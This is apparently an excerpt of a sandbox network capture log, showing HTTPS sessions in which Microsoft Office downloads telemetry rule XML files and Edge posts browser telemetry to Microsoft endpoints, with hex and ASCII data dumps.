_[NKD%]^;iwqX8e2v_++%eG}hT2~]c<{{ox/[5;[C?w_QV)t5#_/<:~9z;kI[h;=$mh7UM0
2024-11-25 13:14:50 UTC	2358	IN	Data Raw: 9c b7 b6 cc ca 6c cc ac 90 00 82 19 23 00 a0 43 11 00 00 05 00 08 40 30 10 ca c8 10 ee 22 d0 60 20 2a 18 80 45 4b 50 12 32 80 04 74 c6 94 e6 d5 90 1c e0 7b 74 f8 29 3c 5e af 8e 8d 27 ad 0e 16 9c 15 f7 ee df d3 e4 73 9c e1 bd 66 5f 2f 1a 53 96 47 a7 0e 06 4d bd ae 4d ae bf 1f 99 f4 f0 82 4d d9 62 96 36 cb bb 28 fc cc d6 29 46 1b 32 57 eb 3f cb 8f 8a 5f 69 eb 39 4e 73 2e b1 84 38 69 f0 74 e2 d5 f1 ba 78 e4 b4 24 b7 b6 f2 6f 2c 4f 42 9d 28 a5 18 da db 56 95 45 9b b6 4d f2 62 81 cf cc bf 96 fd 2a fb 55 e5 9e 1c 9b e5 95 fb 05 1f 54 56 cf a6 92 b4 a7 52 78 39 db 3c 79 37 ed ee 39 4c cb a4 44 43 aa 36 bc f3 7b 4e 4a 3b ba db 95 fa 59 09 3b 6c df 7a 84 dd 92 e5 4b d2 9b 5a 37 da e6 49 ed 47 6a 2f 62 9a 77 95 49 61 29 e3 8b 57 dd 7d 2f 17 90 ef 75 b5 1f d3 86 e7 Data Ascii: l#C@0"` EKP2t{t)<^'sf_/SGMMMb6()F2W?_i9Ns.8itx$o,OB(VEMbUTVRx9<y79LDC6{NJ;Y;lzKZ7IGj/bwIa)W}/u
2024-11-25 13:14:50 UTC	16384	IN	Data Raw: 46 92 5e b8 e0 9c e2 ad 15 94 13 f7 91 9c 94 5f a9 f5 ea 3c b5 2d 7a 16 45 02 7b 55 27 15 8e ce 12 96 57 b5 ed 7d 5a 37 20 be d5 da 76 8a c3 6b 4e a8 ea 1e ca d9 d8 58 41 6f c7 17 de f4 3c f3 65 66 be 1f 82 cb bd 90 43 c7 0b 59 78 3d b2 f7 0f 7b be 6b 3c 92 d5 ef 04 e2 e3 39 2e ac 2f 7e f5 be da 5e b0 83 52 8e db c2 36 ba bf cf 58 07 cb e3 2f c0 33 d2 f4 2d cb bd 82 bb bb dc de 9d fb 3a 5f 84 4d ab 39 3c 21 c9 59 c9 fb 6f 92 03 f0 90 15 c0 f6 9e 61 80 80 06 32 40 81 80 8a 28 92 80 08 18 08 44 43 28 43 34 10 00 c2 90 c6 20 86 31 01 14 c0 00 a0 24 60 19 05 08 02 98 08 61 00 80 00 63 01 80 80 62 0a 63 18 c0 45 00 04 21 81 40 2b 16 20 00 0d e1 6d 25 00 25 61 88 41 14 21 08 8a 40 00 4b 00 c4 22 34 77 10 86 40 87 71 5c 90 00 10 80 00 40 03 10 00 00 5c 42 2a 59 Data Ascii: F^_<-zE{U'W}Z7 vkNXAo<efCYx={k<9./~^R6X/3-:_M9<!Yoa2@(DC(C4 1$`acbcE!@+ m%%aA!@K"4w@q\@\B*Y
2024-11-25 13:14:50 UTC	16192	IN	Data Raw: a5 4e 32 77 95 a5 36 b4 47 75 97 6d 88 34 fc b6 a7 3f 55 59 e1 15 fe 15 a9 66 c1 7e 8b 72 7e ba b5 3d 9b 96 a8 a2 14 b7 d5 92 bc 9e 10 8e 69 68 e7 de c7 7f 25 6d 4a d2 ab 3c 12 f6 6a 8a cd 91 52 d3 a3 4e 51 4f 6a ad 5b e3 ad e1 7c 37 46 2b 70 e4 9c 29 d3 a1 17 79 bb 2d ad 09 75 a5 ab f1 05 6a 11 da 9f aa a4 b0 d6 f4 28 ea e8 c2 17 a1 79 cb d5 56 6f 72 f9 2d 4b 32 8d 95 9d 92 fc b8 7f 9a 5e d0 57 72 db 6a ed 75 63 92 ef d6 73 45 79 11 d9 5e aa 95 1b 69 64 af f2 8c 4b 9b f2 20 a9 c3 d5 52 a5 f1 d7 9c 9f 70 1b 53 5b 5c 4c a4 f1 4a 29 5f c2 f3 8a f9 98 f0 df a9 56 bd 67 bd 4a 54 e3 fb 30 f7 bb 84 df dd a8 28 47 19 c9 6c c6 fb dc 9e 6f e6 c2 cf 86 e1 d5 38 63 52 4b 65 6b 6f 7c 9f cd 80 f8 59 79 b1 9d 48 e1 2a 8d ed 3f 0d b0 b7 37 cc ba 6d 4e 2e 30 c2 09 b4 df Data Ascii: N2w6Gum4?UYf~r~=ih%mJ<jRNQOj[\|7F+p)y-uj(yVor-K2^WrjucsEy^idK RpS[\LJ)_VgJT0(Glo8cRKeko\|YyH*?7mN.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:49 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:49 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7e801f10-e01e-003c-746c-3dc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131449Z-15b8b599d885ffrhhC1TEBtuv0000000063000000000696q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:49 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49877	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131451Z-174c587ffdfb485jhC1TEBmc1s00000005wg000000003ew8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.5	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: c388be8e-101e-008e-2ebf-3ecf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131451Z-178bfbc474b7cbwqhC1NYC8z4n00000007g0000000003bdg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.5	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:51 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 891407d0-301e-0096-28a6-3ee71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131451Z-178bfbc474b9fdhphC1NYCac0n00000007f00000000078qc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:51 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.5	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:51 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:51 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 1e280d2f-401e-0029-0d7f-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131451Z-174c587ffdfcj798hC1TEB9bq4000000067g000000000q51 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:51 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.5	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 13:14:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 13:14:52 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 0a397e49-e01e-0051-357f-3b84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T131452Z-174c587ffdfb485jhC1TEBmc1s00000005r000000000mg2n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 13:14:52 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	49880	40.79.167.8	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540488866&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11554 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 13:14:51 UTC	11554	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 33 3a 31 34 3a 34 38 2e 38 36 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 63 37 63 32 61 30 65 2d 61 36 33 66 2d 34 63 31 31 2d 62 34 34 38 2d 30 32 63 39 30 64 37 36 62 32 39 37 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 32 31 33 37 35 35 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T13:14:48.864Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"bc7c2a0e-a63f-4c11-b448-02c90d76b297","epoch":"2821375596"},"app":{"locale
2024-11-25 13:14:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=2ef963a507a34b72ac03036a8a041eb0&HASH=2ef9&LV=202411&V=4&LU=1732540492177; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 13:14:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=08b1217e0b184facb14f8cd652c57419; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 13:44:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3311 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 13:14:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	49881	40.79.167.8	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:51 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540488870&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5051 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-25 13:14:51 UTC	5051	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 35 54 31 33 3a 31 34 3a 34 38 2e 38 36 39 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 62 63 37 63 32 61 30 65 2d 61 36 33 66 2d 34 63 31 31 2d 62 34 34 38 2d 30 32 63 39 30 64 37 36 62 32 39 37 22 2c 22 65 70 6f 63 68 22 3a 22 32 38 32 31 33 37 35 35 39 36 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-25T13:14:48.869Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"bc7c2a0e-a63f-4c11-b448-02c90d76b297","epoch":"2821375596"},"app":{"locale
2024-11-25 13:14:52 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=cb4ea509594742ed921203518f676bca&HASH=cb4e&LV=202411&V=4&LU=1732540492223; Domain=.microsoft.com; Expires=Tue, 25 Nov 2025 13:14:52 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=2bb6c129c4d34dd58c6c5cd913010d35; Domain=.microsoft.com; Expires=Mon, 25 Nov 2024 13:44:52 GMT; Path=/;Secure; SameSite=None time-delta-millis: 3353 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Mon, 25 Nov 2024 13:14:51 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	49883	40.79.167.8	443	7436	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 13:14:52 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732540489769&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5249 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=331C9059D5CC671123A1851BD4CD6669; _EDGE_S=F=1&SID=0818A893694C69AF2D9ABDD1687E68F5; _EDGE_V=1; msnup=
